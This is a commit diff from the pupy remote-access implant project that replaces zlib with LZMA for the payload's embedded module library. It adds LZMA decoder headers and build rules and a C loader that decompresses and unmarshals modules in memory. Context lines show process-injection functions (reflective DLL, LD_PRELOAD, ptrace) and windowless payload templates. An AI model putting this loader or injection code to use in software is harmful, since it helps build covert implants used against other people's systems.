mirror of https://github.com/n1nj4sec/pupy.git
Use LZMA instead of ZLib for resources
This commit is contained in:
Oleksii Shevchuk
parent
e320af34ae
commit
8dc9232450
|
|
@ -2,7 +2,8 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
import StringIO, zipfile, os.path, imp, sys
|
||||
import marshal
|
||||
import zlib
|
||||
import pylzma
|
||||
import struct
|
||||
|
||||
def get_encoded_library_string():
|
||||
filepath=None
|
||||
|
|
@ -20,7 +21,9 @@ def get_encoded_library_string():
|
|||
]
|
||||
])
|
||||
|
||||
return zlib.compress(marshal.dumps(modules),9)
|
||||
payload = marshal.dumps(modules)
|
||||
payload_len = len(payload)
|
||||
return struct.pack('>I', payload_len) + pylzma.compress(payload,dictionary=24,fastBytes=255)
|
||||
|
||||
with open(os.path.join("resources","library_compressed_string.txt"),'wb') as w:
|
||||
w.write(get_encoded_library_string())
|
||||
|
|
|
|||
|
|
@ -0,0 +1,256 @@
|
|||
/* 7zTypes.h -- Basic types
|
||||
2013-11-12 : Igor Pavlov : Public domain */
|
||||
|
||||
#ifndef __7Z_TYPES_H
|
||||
#define __7Z_TYPES_H
|
||||
|
||||
#ifdef _WIN32
|
||||
/* #include <windows.h> */
|
||||
#endif
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
#ifndef EXTERN_C_BEGIN
|
||||
#ifdef __cplusplus
|
||||
#define EXTERN_C_BEGIN extern "C" {
|
||||
#define EXTERN_C_END }
|
||||
#else
|
||||
#define EXTERN_C_BEGIN
|
||||
#define EXTERN_C_END
|
||||
#endif
|
||||
#endif
|
||||
|
||||
EXTERN_C_BEGIN
|
||||
|
||||
#define SZ_OK 0
|
||||
|
||||
#define SZ_ERROR_DATA 1
|
||||
#define SZ_ERROR_MEM 2
|
||||
#define SZ_ERROR_CRC 3
|
||||
#define SZ_ERROR_UNSUPPORTED 4
|
||||
#define SZ_ERROR_PARAM 5
|
||||
#define SZ_ERROR_INPUT_EOF 6
|
||||
#define SZ_ERROR_OUTPUT_EOF 7
|
||||
#define SZ_ERROR_READ 8
|
||||
#define SZ_ERROR_WRITE 9
|
||||
#define SZ_ERROR_PROGRESS 10
|
||||
#define SZ_ERROR_FAIL 11
|
||||
#define SZ_ERROR_THREAD 12
|
||||
|
||||
#define SZ_ERROR_ARCHIVE 16
|
||||
#define SZ_ERROR_NO_ARCHIVE 17
|
||||
|
||||
typedef int SRes;
|
||||
|
||||
#ifdef _WIN32
|
||||
/* typedef DWORD WRes; */
|
||||
typedef unsigned WRes;
|
||||
#else
|
||||
typedef int WRes;
|
||||
#endif
|
||||
|
||||
#ifndef RINOK
|
||||
#define RINOK(x) { int __result__ = (x); if (__result__ != 0) return __result__; }
|
||||
#endif
|
||||
|
||||
typedef unsigned char Byte;
|
||||
typedef short Int16;
|
||||
typedef unsigned short UInt16;
|
||||
|
||||
#ifdef _LZMA_UINT32_IS_ULONG
|
||||
typedef long Int32;
|
||||
typedef unsigned long UInt32;
|
||||
#else
|
||||
typedef int Int32;
|
||||
typedef unsigned int UInt32;
|
||||
#endif
|
||||
|
||||
#ifdef _SZ_NO_INT_64
|
||||
|
||||
/* define _SZ_NO_INT_64, if your compiler doesn't support 64-bit integers.
|
||||
NOTES: Some code will work incorrectly in that case! */
|
||||
|
||||
typedef long Int64;
|
||||
typedef unsigned long UInt64;
|
||||
|
||||
#else
|
||||
|
||||
#if defined(_MSC_VER) || defined(__BORLANDC__)
|
||||
typedef __int64 Int64;
|
||||
typedef unsigned __int64 UInt64;
|
||||
#define UINT64_CONST(n) n
|
||||
#else
|
||||
typedef long long int Int64;
|
||||
typedef unsigned long long int UInt64;
|
||||
#define UINT64_CONST(n) n ## ULL
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#ifdef _LZMA_NO_SYSTEM_SIZE_T
|
||||
typedef UInt32 SizeT;
|
||||
#else
|
||||
typedef size_t SizeT;
|
||||
#endif
|
||||
|
||||
typedef int Bool;
|
||||
#define True 1
|
||||
#define False 0
|
||||
|
||||
|
||||
#ifdef _WIN32
|
||||
#define MY_STD_CALL __stdcall
|
||||
#else
|
||||
#define MY_STD_CALL
|
||||
#endif
|
||||
|
||||
#ifdef _MSC_VER
|
||||
|
||||
#if _MSC_VER >= 1300
|
||||
#define MY_NO_INLINE __declspec(noinline)
|
||||
#else
|
||||
#define MY_NO_INLINE
|
||||
#endif
|
||||
|
||||
#define MY_CDECL __cdecl
|
||||
#define MY_FAST_CALL __fastcall
|
||||
|
||||
#else
|
||||
|
||||
#define MY_NO_INLINE
|
||||
#define MY_CDECL
|
||||
#define MY_FAST_CALL
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
/* The following interfaces use first parameter as pointer to structure */
|
||||
|
||||
typedef struct
|
||||
{
|
||||
Byte (*Read)(void *p); /* reads one byte, returns 0 in case of EOF or error */
|
||||
} IByteIn;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
void (*Write)(void *p, Byte b);
|
||||
} IByteOut;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
SRes (*Read)(void *p, void *buf, size_t *size);
|
||||
/* if (input(*size) != 0 && output(*size) == 0) means end_of_stream.
|
||||
(output(*size) < input(*size)) is allowed */
|
||||
} ISeqInStream;
|
||||
|
||||
/* it can return SZ_ERROR_INPUT_EOF */
|
||||
SRes SeqInStream_Read(ISeqInStream *stream, void *buf, size_t size);
|
||||
SRes SeqInStream_Read2(ISeqInStream *stream, void *buf, size_t size, SRes errorType);
|
||||
SRes SeqInStream_ReadByte(ISeqInStream *stream, Byte *buf);
|
||||
|
||||
typedef struct
|
||||
{
|
||||
size_t (*Write)(void *p, const void *buf, size_t size);
|
||||
/* Returns: result - the number of actually written bytes.
|
||||
(result < size) means error */
|
||||
} ISeqOutStream;
|
||||
|
||||
typedef enum
|
||||
{
|
||||
SZ_SEEK_SET = 0,
|
||||
SZ_SEEK_CUR = 1,
|
||||
SZ_SEEK_END = 2
|
||||
} ESzSeek;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
SRes (*Read)(void *p, void *buf, size_t *size); /* same as ISeqInStream::Read */
|
||||
SRes (*Seek)(void *p, Int64 *pos, ESzSeek origin);
|
||||
} ISeekInStream;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
SRes (*Look)(void *p, const void **buf, size_t *size);
|
||||
/* if (input(*size) != 0 && output(*size) == 0) means end_of_stream.
|
||||
(output(*size) > input(*size)) is not allowed
|
||||
(output(*size) < input(*size)) is allowed */
|
||||
SRes (*Skip)(void *p, size_t offset);
|
||||
/* offset must be <= output(*size) of Look */
|
||||
|
||||
SRes (*Read)(void *p, void *buf, size_t *size);
|
||||
/* reads directly (without buffer). It's same as ISeqInStream::Read */
|
||||
SRes (*Seek)(void *p, Int64 *pos, ESzSeek origin);
|
||||
} ILookInStream;
|
||||
|
||||
SRes LookInStream_LookRead(ILookInStream *stream, void *buf, size_t *size);
|
||||
SRes LookInStream_SeekTo(ILookInStream *stream, UInt64 offset);
|
||||
|
||||
/* reads via ILookInStream::Read */
|
||||
SRes LookInStream_Read2(ILookInStream *stream, void *buf, size_t size, SRes errorType);
|
||||
SRes LookInStream_Read(ILookInStream *stream, void *buf, size_t size);
|
||||
|
||||
#define LookToRead_BUF_SIZE (1 << 14)
|
||||
|
||||
typedef struct
|
||||
{
|
||||
ILookInStream s;
|
||||
ISeekInStream *realStream;
|
||||
size_t pos;
|
||||
size_t size;
|
||||
Byte buf[LookToRead_BUF_SIZE];
|
||||
} CLookToRead;
|
||||
|
||||
void LookToRead_CreateVTable(CLookToRead *p, int lookahead);
|
||||
void LookToRead_Init(CLookToRead *p);
|
||||
|
||||
typedef struct
|
||||
{
|
||||
ISeqInStream s;
|
||||
ILookInStream *realStream;
|
||||
} CSecToLook;
|
||||
|
||||
void SecToLook_CreateVTable(CSecToLook *p);
|
||||
|
||||
typedef struct
|
||||
{
|
||||
ISeqInStream s;
|
||||
ILookInStream *realStream;
|
||||
} CSecToRead;
|
||||
|
||||
void SecToRead_CreateVTable(CSecToRead *p);
|
||||
|
||||
typedef struct
|
||||
{
|
||||
SRes (*Progress)(void *p, UInt64 inSize, UInt64 outSize);
|
||||
/* Returns: result. (result != SZ_OK) means break.
|
||||
Value (UInt64)(Int64)-1 for size means unknown value. */
|
||||
} ICompressProgress;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
void *(*Alloc)(void *p, size_t size);
|
||||
void (*Free)(void *p, void *address); /* address can be 0 */
|
||||
} ISzAlloc;
|
||||
|
||||
#define IAlloc_Alloc(p, size) (p)->Alloc((p), size)
|
||||
#define IAlloc_Free(p, a) (p)->Free((p), a)
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
#define CHAR_PATH_SEPARATOR '\\'
|
||||
#define WCHAR_PATH_SEPARATOR L'\\'
|
||||
#define STRING_PATH_SEPARATOR "\\"
|
||||
#define WSTRING_PATH_SEPARATOR L"\\"
|
||||
|
||||
#else
|
||||
|
||||
#define CHAR_PATH_SEPARATOR '/'
|
||||
#define WCHAR_PATH_SEPARATOR L'/'
|
||||
#define STRING_PATH_SEPARATOR "/"
|
||||
#define WSTRING_PATH_SEPARATOR L"/"
|
||||
|
||||
#endif
|
||||
|
||||
EXTERN_C_END
|
||||
|
||||
#endif
|
||||
File diff suppressed because it is too large
Load Diff
|
|
@ -0,0 +1,227 @@
|
|||
/* LzmaDec.h -- LZMA Decoder
|
||||
2013-01-18 : Igor Pavlov : Public domain */
|
||||
|
||||
#ifndef __LZMA_DEC_H
|
||||
#define __LZMA_DEC_H
|
||||
|
||||
#include "7zTypes.h"
|
||||
|
||||
EXTERN_C_BEGIN
|
||||
|
||||
/* #define _LZMA_PROB32 */
|
||||
/* _LZMA_PROB32 can increase the speed on some CPUs,
|
||||
but memory usage for CLzmaDec::probs will be doubled in that case */
|
||||
|
||||
#ifdef _LZMA_PROB32
|
||||
#define CLzmaProb UInt32
|
||||
#else
|
||||
#define CLzmaProb UInt16
|
||||
#endif
|
||||
|
||||
|
||||
/* ---------- LZMA Properties ---------- */
|
||||
|
||||
#define LZMA_PROPS_SIZE 5
|
||||
|
||||
typedef struct _CLzmaProps
|
||||
{
|
||||
unsigned lc, lp, pb;
|
||||
UInt32 dicSize;
|
||||
} CLzmaProps;
|
||||
|
||||
/* LzmaProps_Decode - decodes properties
|
||||
Returns:
|
||||
SZ_OK
|
||||
SZ_ERROR_UNSUPPORTED - Unsupported properties
|
||||
*/
|
||||
|
||||
SRes LzmaProps_Decode(CLzmaProps *p, const Byte *data, unsigned size);
|
||||
|
||||
|
||||
/* ---------- LZMA Decoder state ---------- */
|
||||
|
||||
/* LZMA_REQUIRED_INPUT_MAX = number of required input bytes for worst case.
|
||||
Num bits = log2((2^11 / 31) ^ 22) + 26 < 134 + 26 = 160; */
|
||||
|
||||
#define LZMA_REQUIRED_INPUT_MAX 20
|
||||
|
||||
typedef struct
|
||||
{
|
||||
CLzmaProps prop;
|
||||
CLzmaProb *probs;
|
||||
Byte *dic;
|
||||
const Byte *buf;
|
||||
UInt32 range, code;
|
||||
SizeT dicPos;
|
||||
SizeT dicBufSize;
|
||||
UInt32 processedPos;
|
||||
UInt32 checkDicSize;
|
||||
unsigned state;
|
||||
UInt32 reps[4];
|
||||
unsigned remainLen;
|
||||
int needFlush;
|
||||
int needInitState;
|
||||
UInt32 numProbs;
|
||||
unsigned tempBufSize;
|
||||
Byte tempBuf[LZMA_REQUIRED_INPUT_MAX];
|
||||
} CLzmaDec;
|
||||
|
||||
#define LzmaDec_Construct(p) { (p)->dic = 0; (p)->probs = 0; }
|
||||
|
||||
void LzmaDec_Init(CLzmaDec *p);
|
||||
|
||||
/* There are two types of LZMA streams:
|
||||
0) Stream with end mark. That end mark adds about 6 bytes to compressed size.
|
||||
1) Stream without end mark. You must know exact uncompressed size to decompress such stream. */
|
||||
|
||||
typedef enum
|
||||
{
|
||||
LZMA_FINISH_ANY, /* finish at any point */
|
||||
LZMA_FINISH_END /* block must be finished at the end */
|
||||
} ELzmaFinishMode;
|
||||
|
||||
/* ELzmaFinishMode has meaning only if the decoding reaches output limit !!!
|
||||
|
||||
You must use LZMA_FINISH_END, when you know that current output buffer
|
||||
covers last bytes of block. In other cases you must use LZMA_FINISH_ANY.
|
||||
|
||||
If LZMA decoder sees end marker before reaching output limit, it returns SZ_OK,
|
||||
and output value of destLen will be less than output buffer size limit.
|
||||
You can check status result also.
|
||||
|
||||
You can use multiple checks to test data integrity after full decompression:
|
||||
1) Check Result and "status" variable.
|
||||
2) Check that output(destLen) = uncompressedSize, if you know real uncompressedSize.
|
||||
3) Check that output(srcLen) = compressedSize, if you know real compressedSize.
|
||||
You must use correct finish mode in that case. */
|
||||
|
||||
typedef enum
|
||||
{
|
||||
LZMA_STATUS_NOT_SPECIFIED, /* use main error code instead */
|
||||
LZMA_STATUS_FINISHED_WITH_MARK, /* stream was finished with end mark. */
|
||||
LZMA_STATUS_NOT_FINISHED, /* stream was not finished */
|
||||
LZMA_STATUS_NEEDS_MORE_INPUT, /* you must provide more input bytes */
|
||||
LZMA_STATUS_MAYBE_FINISHED_WITHOUT_MARK /* there is probability that stream was finished without end mark */
|
||||
} ELzmaStatus;
|
||||
|
||||
/* ELzmaStatus is used only as output value for function call */
|
||||
|
||||
|
||||
/* ---------- Interfaces ---------- */
|
||||
|
||||
/* There are 3 levels of interfaces:
|
||||
1) Dictionary Interface
|
||||
2) Buffer Interface
|
||||
3) One Call Interface
|
||||
You can select any of these interfaces, but don't mix functions from different
|
||||
groups for same object. */
|
||||
|
||||
|
||||
/* There are two variants to allocate state for Dictionary Interface:
|
||||
1) LzmaDec_Allocate / LzmaDec_Free
|
||||
2) LzmaDec_AllocateProbs / LzmaDec_FreeProbs
|
||||
You can use variant 2, if you set dictionary buffer manually.
|
||||
For Buffer Interface you must always use variant 1.
|
||||
|
||||
LzmaDec_Allocate* can return:
|
||||
SZ_OK
|
||||
SZ_ERROR_MEM - Memory allocation error
|
||||
SZ_ERROR_UNSUPPORTED - Unsupported properties
|
||||
*/
|
||||
|
||||
SRes LzmaDec_AllocateProbs(CLzmaDec *p, const Byte *props, unsigned propsSize, ISzAlloc *alloc);
|
||||
void LzmaDec_FreeProbs(CLzmaDec *p, ISzAlloc *alloc);
|
||||
|
||||
SRes LzmaDec_Allocate(CLzmaDec *state, const Byte *prop, unsigned propsSize, ISzAlloc *alloc);
|
||||
void LzmaDec_Free(CLzmaDec *state, ISzAlloc *alloc);
|
||||
|
||||
/* ---------- Dictionary Interface ---------- */
|
||||
|
||||
/* You can use it, if you want to eliminate the overhead for data copying from
|
||||
dictionary to some other external buffer.
|
||||
You must work with CLzmaDec variables directly in this interface.
|
||||
|
||||
STEPS:
|
||||
LzmaDec_Constr()
|
||||
LzmaDec_Allocate()
|
||||
for (each new stream)
|
||||
{
|
||||
LzmaDec_Init()
|
||||
while (it needs more decompression)
|
||||
{
|
||||
LzmaDec_DecodeToDic()
|
||||
use data from CLzmaDec::dic and update CLzmaDec::dicPos
|
||||
}
|
||||
}
|
||||
LzmaDec_Free()
|
||||
*/
|
||||
|
||||
/* LzmaDec_DecodeToDic
|
||||
|
||||
The decoding to internal dictionary buffer (CLzmaDec::dic).
|
||||
You must manually update CLzmaDec::dicPos, if it reaches CLzmaDec::dicBufSize !!!
|
||||
|
||||
finishMode:
|
||||
It has meaning only if the decoding reaches output limit (dicLimit).
|
||||
LZMA_FINISH_ANY - Decode just dicLimit bytes.
|
||||
LZMA_FINISH_END - Stream must be finished after dicLimit.
|
||||
|
||||
Returns:
|
||||
SZ_OK
|
||||
status:
|
||||
LZMA_STATUS_FINISHED_WITH_MARK
|
||||
LZMA_STATUS_NOT_FINISHED
|
||||
LZMA_STATUS_NEEDS_MORE_INPUT
|
||||
LZMA_STATUS_MAYBE_FINISHED_WITHOUT_MARK
|
||||
SZ_ERROR_DATA - Data error
|
||||
*/
|
||||
|
||||
SRes LzmaDec_DecodeToDic(CLzmaDec *p, SizeT dicLimit,
|
||||
const Byte *src, SizeT *srcLen, ELzmaFinishMode finishMode, ELzmaStatus *status);
|
||||
|
||||
|
||||
/* ---------- Buffer Interface ---------- */
|
||||
|
||||
/* It's zlib-like interface.
|
||||
See LzmaDec_DecodeToDic description for information about STEPS and return results,
|
||||
but you must use LzmaDec_DecodeToBuf instead of LzmaDec_DecodeToDic and you don't need
|
||||
to work with CLzmaDec variables manually.
|
||||
|
||||
finishMode:
|
||||
It has meaning only if the decoding reaches output limit (*destLen).
|
||||
LZMA_FINISH_ANY - Decode just destLen bytes.
|
||||
LZMA_FINISH_END - Stream must be finished after (*destLen).
|
||||
*/
|
||||
|
||||
SRes LzmaDec_DecodeToBuf(CLzmaDec *p, Byte *dest, SizeT *destLen,
|
||||
const Byte *src, SizeT *srcLen, ELzmaFinishMode finishMode, ELzmaStatus *status);
|
||||
|
||||
|
||||
/* ---------- One Call Interface ---------- */
|
||||
|
||||
/* LzmaDecode
|
||||
|
||||
finishMode:
|
||||
It has meaning only if the decoding reaches output limit (*destLen).
|
||||
LZMA_FINISH_ANY - Decode just destLen bytes.
|
||||
LZMA_FINISH_END - Stream must be finished after (*destLen).
|
||||
|
||||
Returns:
|
||||
SZ_OK
|
||||
status:
|
||||
LZMA_STATUS_FINISHED_WITH_MARK
|
||||
LZMA_STATUS_NOT_FINISHED
|
||||
LZMA_STATUS_MAYBE_FINISHED_WITHOUT_MARK
|
||||
SZ_ERROR_DATA - Data error
|
||||
SZ_ERROR_MEM - Memory allocation error
|
||||
SZ_ERROR_UNSUPPORTED - Unsupported properties
|
||||
SZ_ERROR_INPUT_EOF - It needs more bytes in input buffer (src).
|
||||
*/
|
||||
|
||||
SRes LzmaDecode(Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen,
|
||||
const Byte *propData, unsigned propSize, ELzmaFinishMode finishMode,
|
||||
ELzmaStatus *status, ISzAlloc *alloc);
|
||||
|
||||
EXTERN_C_END
|
||||
|
||||
#endif
|
||||
|
|
@ -4,3 +4,4 @@ psutil
|
|||
pyaml
|
||||
rsa
|
||||
netaddr
|
||||
pylzma
|
||||
|
|
|
|||
|
|
@ -1,7 +1,7 @@
|
|||
GZIP ?= gzip
|
||||
CC ?= gcc
|
||||
|
||||
CFLAGS := $(shell pkg-config --cflags python-2.7) -fPIC $(CFLAGS_EXTRA)
|
||||
CFLAGS := $(shell pkg-config --cflags python-2.7) -I../lzma -fPIC $(CFLAGS_EXTRA)
|
||||
LDFLAGS := -lpthread -ldl -fPIC $(LDFLAGS_EXTRA) -Wl,-Bstatic -lz -Wl,-Bdynamic
|
||||
PFLAGS := -O
|
||||
PIE ?= -pie
|
||||
|
|
@ -35,7 +35,7 @@ TEMPLATE_OUTPUT_PATH ?= ../../pupy/payload_templates/
|
|||
PYOBJS := _memimporter.o Python-dynload.o pupy_load.o pupy.o
|
||||
COMMON_OBJS := resources_bootloader_pyc.o resources_python27_so.o \
|
||||
resources_library_compressed_string_txt.o list.o tmplibrary.o daemonize.o \
|
||||
decompress.o
|
||||
decompress.o LzmaDec.o
|
||||
|
||||
ifeq ($(ARCH),64)
|
||||
COMMON_OBJS += linux-inject/inject-x86_64.o
|
||||
|
|
@ -46,29 +46,17 @@ endif
|
|||
COMMON_OBJS += linux-inject/ptrace.o
|
||||
COMMON_OBJS += linux-inject/utils.o
|
||||
|
||||
ZLIB := $(shell $(PYTHON) $(PFLAGS) -c 'import zlib; print zlib.__file__ if "__file__" in zlib.__dict__ else "built-in"')
|
||||
|
||||
ifneq ($(ZLIB),built-in)
|
||||
COMMON_OBJS += resources_zlib_so.o
|
||||
CFLAGS += -D_PYZLIB_DYNLOAD
|
||||
endif
|
||||
|
||||
all: $(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).lin $(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).so
|
||||
|
||||
ifneq ($(ZLIB),built-in)
|
||||
resources/zlib.so: $(ZLIB)
|
||||
$(GZIP) -9 -c $< >$@
|
||||
|
||||
resources_zlib_so.c: ../gen_resource_header.py resources/zlib.so
|
||||
$(PYTHON) $(PFLAGS) $+
|
||||
endif
|
||||
|
||||
import-tab.c import-tab.h: mktab.py
|
||||
$(PYTHON) $(PFLAGS) $<
|
||||
|
||||
Python-dynload.o: Python-dynload.c import-tab.c import-tab.h
|
||||
$(CC) -c -o $@ $< $(CFLAGS)
|
||||
|
||||
LzmaDec.o: ../lzma/LzmaDec.c
|
||||
$(CC) -O3 -c -o $@ $<
|
||||
|
||||
resources/library_compressed_string.txt: ../gen_library_compressed_string.py resources/library.zip
|
||||
$(PYTHON) $(PFLAGS) ../gen_library_compressed_string.py
|
||||
|
||||
|
|
@ -86,6 +74,7 @@ linux-inject/%.o: linux-inject/%.c
|
|||
|
||||
resources/python27.so: $(LIBPYTHON)
|
||||
cp -vf $< $@.tmp
|
||||
-chmod 600 $@.tmp
|
||||
-strip $@.tmp
|
||||
$(GZIP) -9 -c $@.tmp >$@
|
||||
rm -f $@.tmp
|
||||
|
|
@ -108,6 +97,7 @@ clean:
|
|||
find -name "*.pyc" | xargs rm -f
|
||||
find -name "*.pyo" | xargs rm -f
|
||||
find -name "*.o" | xargs rm -f
|
||||
rm -f $(COMMON_OBJS)
|
||||
rm -f pupy pupy.so
|
||||
rm -f resources/library.zip
|
||||
rm -f resources/*.so
|
||||
|
|
|
|||
|
|
@ -10,6 +10,10 @@
|
|||
#include "debug.h"
|
||||
#include "Python-dynload.h"
|
||||
#include "daemonize.h"
|
||||
#include <arpa/inet.h>
|
||||
#include "tmplibrary.h"
|
||||
|
||||
#include "LzmaDec.h"
|
||||
|
||||
int linux_inject_main(int argc, char **argv);
|
||||
|
||||
|
|
@ -17,11 +21,57 @@ static char module_doc[] = "Builtins utilities for pupy";
|
|||
|
||||
extern const char resources_library_compressed_string_txt_start[];
|
||||
extern const int resources_library_compressed_string_txt_size;
|
||||
|
||||
char pupy_config[40960]="####---PUPY_CONFIG_COMES_HERE---####\n"; //big array to have space for more config / code run at startup
|
||||
extern const uint32_t dwPupyArch;
|
||||
static PyObject *Py_get_compressed_library_string(PyObject *self, PyObject *args)
|
||||
|
||||
static void *_lzalloc(void *p, size_t size) { p = p; return malloc(size); }
|
||||
static void _lzfree(void *p, void *address) { p = p; free(address); }
|
||||
ISzAlloc _lzallocator = { _lzalloc, _lzfree };
|
||||
|
||||
static PyObject *Py_get_modules(PyObject *self, PyObject *args)
|
||||
{
|
||||
return Py_BuildValue("s#", resources_library_compressed_string_txt_start, resources_library_compressed_string_txt_size);
|
||||
char *uncompressed = NULL;
|
||||
size_t uncompressed_size = 0;
|
||||
|
||||
const Byte *wheader = resources_library_compressed_string_txt_start + sizeof(unsigned int);
|
||||
const Byte *woheader = wheader + LZMA_PROPS_SIZE;
|
||||
|
||||
CLzmaDec state;
|
||||
ELzmaStatus status;
|
||||
size_t srcLen;
|
||||
int res;
|
||||
|
||||
uncompressed_size = ntohl(
|
||||
*((unsigned int *) resources_library_compressed_string_txt_start)
|
||||
);
|
||||
|
||||
uncompressed = malloc(uncompressed_size);
|
||||
if (!uncompressed) {
|
||||
dprint("Allocation failed\n");
|
||||
abort();
|
||||
}
|
||||
|
||||
dprint("Uncompressed library size = %d\n", uncompressed_size);
|
||||
dprint("Compressed library size = %d\n", resources_library_compressed_string_txt_size);
|
||||
|
||||
srcLen = resources_library_compressed_string_txt_size - sizeof(unsigned int) - LZMA_PROPS_SIZE;
|
||||
|
||||
res = LzmaDecode(
|
||||
uncompressed, &uncompressed_size, woheader, &srcLen, wheader,
|
||||
LZMA_PROPS_SIZE, LZMA_FINISH_ANY, &status, &_lzallocator
|
||||
);
|
||||
|
||||
if (res != SZ_OK) {
|
||||
dprint("Decompression failed\n");
|
||||
abort();
|
||||
}
|
||||
|
||||
PyObject * modules = PyMarshal_ReadObjectFromString(
|
||||
uncompressed, uncompressed_size);
|
||||
|
||||
free(uncompressed);
|
||||
return modules;
|
||||
}
|
||||
|
||||
static PyObject *
|
||||
|
|
@ -162,7 +212,7 @@ static PyObject *Py_load_dll(PyObject *self, PyObject *args)
|
|||
static PyMethodDef methods[] = {
|
||||
{ "get_pupy_config", Py_get_pupy_config, METH_NOARGS, "get_pupy_config() -> string" },
|
||||
{ "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
|
||||
{ "_get_compressed_library_string", Py_get_compressed_library_string, METH_VARARGS },
|
||||
{ "get_modules", Py_get_modules, METH_NOARGS, "get pupy library" },
|
||||
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" },
|
||||
{ "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> bool" },
|
||||
{ "ld_preload_inject_dll", Py_ld_preload_inject_dll, METH_VARARGS, "ld_preload_inject_dll(cmdline, dll_buffer, hook_exit) -> pid" },
|
||||
|
|
|
|||
|
|
@ -23,11 +23,6 @@ extern const int resources_python27_so_size;
|
|||
extern const char resources_bootloader_pyc_start[];
|
||||
extern const int resources_bootloader_pyc_size;
|
||||
|
||||
#ifdef _PYZLIB_DYNLOAD
|
||||
extern const char resources_zlib_so_start[];
|
||||
extern const int resources_zlib_so_size;
|
||||
#endif
|
||||
|
||||
extern DL_EXPORT(void) init_memimporter(void);
|
||||
extern DL_EXPORT(void) initpupy(void);
|
||||
|
||||
|
|
@ -104,13 +99,6 @@ uint32_t mainThread(int argc, char *argv[], bool so) {
|
|||
initpupy();
|
||||
dprint("initpupy()\n");
|
||||
|
||||
#ifdef _PYZLIB_DYNLOAD
|
||||
dprint("load zlib\n");
|
||||
if (!import_module("initzlib", "zlib", resources_zlib_so_start, resources_zlib_so_size)) {
|
||||
dprint("ZLib load failed.\n");
|
||||
}
|
||||
#endif
|
||||
|
||||
/* We execute then in the context of '__main__' */
|
||||
dprint("starting evaluating python code ...\n");
|
||||
m = PyImport_AddModule("__main__");
|
||||
|
|
|
|||
|
|
@ -10,6 +10,7 @@ endif
|
|||
|
||||
CC := $(BUILDENV)/$(ARCH)/cl.sh
|
||||
PYTHON := $(BUILDENV)/$(ARCH)/python.sh -O
|
||||
HOST_PYTHON := python
|
||||
|
||||
ifeq "$(ARCH)" "win64"
|
||||
CFLAGS:=$(CFLAGS) /DWIN_X64 /D_WIN64 /nologo
|
||||
|
|
@ -26,10 +27,13 @@ LINKER_OPTS :=
|
|||
PPARCH := $(PPARCH)d
|
||||
else
|
||||
DEBUG_ADD :=
|
||||
LINKER_OPTS :=/link /subsystem:windows /ENTRY:mainCRTStartup
|
||||
LINKER_OPTS :=/link /subsystem:windows /ENTRY:mainCRTStartup /LTGC
|
||||
PPARCH := $(PPARCH)
|
||||
CFLAGS := $(CFLAGS) /O1 /GL
|
||||
endif
|
||||
|
||||
CFLAGS := $(CFLAGS) /I..\\lzma
|
||||
|
||||
PYOBJS := \
|
||||
_memimporter.obj \
|
||||
MyLoadLibrary.obj \
|
||||
|
|
@ -44,7 +48,7 @@ COMMON_OBJS := \
|
|||
MemoryModule.obj \
|
||||
resources_library_compressed_string_txt.obj \
|
||||
actctx.obj list.obj thread.obj remote_thread.obj \
|
||||
LoadLibraryR.obj resources_msvcr90_dll.obj
|
||||
LoadLibraryR.obj resources_msvcr90_dll.obj LzmaDec.obj
|
||||
|
||||
all: $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).exe $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).dll
|
||||
|
||||
|
|
@ -52,19 +56,19 @@ $(BUILDENV_READY):
|
|||
./buildenv.sh "$(BUILDENV)"
|
||||
|
||||
resources/library_compressed_string.txt: ../gen_library_compressed_string.py resources/library.zip $(BUILDENV_READY)
|
||||
$(PYTHON) ../gen_library_compressed_string.py
|
||||
$(HOST_PYTHON) ../gen_library_compressed_string.py
|
||||
|
||||
resources/library.zip: ../build_library_zip.py $(BUILDENV_READY)
|
||||
$(PYTHON) ../build_library_zip.py -windows
|
||||
|
||||
resources_library_compressed_string_txt.c: ../gen_resource_header.py resources/library_compressed_string.txt resources/library.zip $(BUILDENV_READY)
|
||||
$(PYTHON) ../gen_resource_header.py resources/library_compressed_string.txt
|
||||
$(HOST_PYTHON) ../gen_resource_header.py resources/library_compressed_string.txt
|
||||
|
||||
resources/bootloader.pyc: ../../pupy/packages/all/pupyimporter.py ../../pupy/pp.py ../gen_python_bootloader.py $(BUILDENV_READY)
|
||||
$(PYTHON) ../gen_python_bootloader.py $(DEBUG_ADD)
|
||||
|
||||
resources_bootloader_pyc.c: resources/bootloader.pyc ../gen_resource_header.py $(BUILDENV_READY)
|
||||
$(PYTHON) ../gen_resource_header.py $<
|
||||
$(HOST_PYTHON) ../gen_resource_header.py $<
|
||||
|
||||
resources/python27.dll: $(BUILDENV)/$(ARCH)/drive_c/Python27/python27.dll $(BUILDENV_READY)
|
||||
cp $< $@
|
||||
|
|
@ -73,14 +77,17 @@ resources/msvcr90.dll: $(BUILDENV)/$(ARCH)/drive_c/Python27/msvcr90.dll $(BUILDE
|
|||
cp $< $@
|
||||
|
||||
resources_python27_dll.c: resources/python27.dll ../gen_resource_header.py $(BUILDENV_READY)
|
||||
$(PYTHON) ../gen_resource_header.py $<
|
||||
$(HOST_PYTHON) ../gen_resource_header.py $<
|
||||
|
||||
resources_msvcr90_dll.c: resources/msvcr90.dll ../gen_resource_header.py $(BUILDENV_READY)
|
||||
$(PYTHON) ../gen_resource_header.py $<
|
||||
$(HOST_PYTHON) ../gen_resource_header.py $<
|
||||
|
||||
$(PYOBJS): %.obj: %.c
|
||||
